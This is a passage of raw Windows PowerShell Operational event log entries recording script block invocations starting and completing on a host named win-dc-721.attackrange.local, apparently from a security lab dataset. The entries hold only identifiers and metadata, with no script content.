Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477225
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477224
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477223
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477222
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477221
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477220
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477219
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477218
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477217
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477216
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477215
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477214
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477212
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477210
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477208
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477205
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477203
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477201
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477199
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477197
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477195
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477194
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477192
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477190
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477188
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477187
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477186
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477184
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477183
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477182
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477181
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477180
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477178
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477176
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477173
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477172
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477171
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
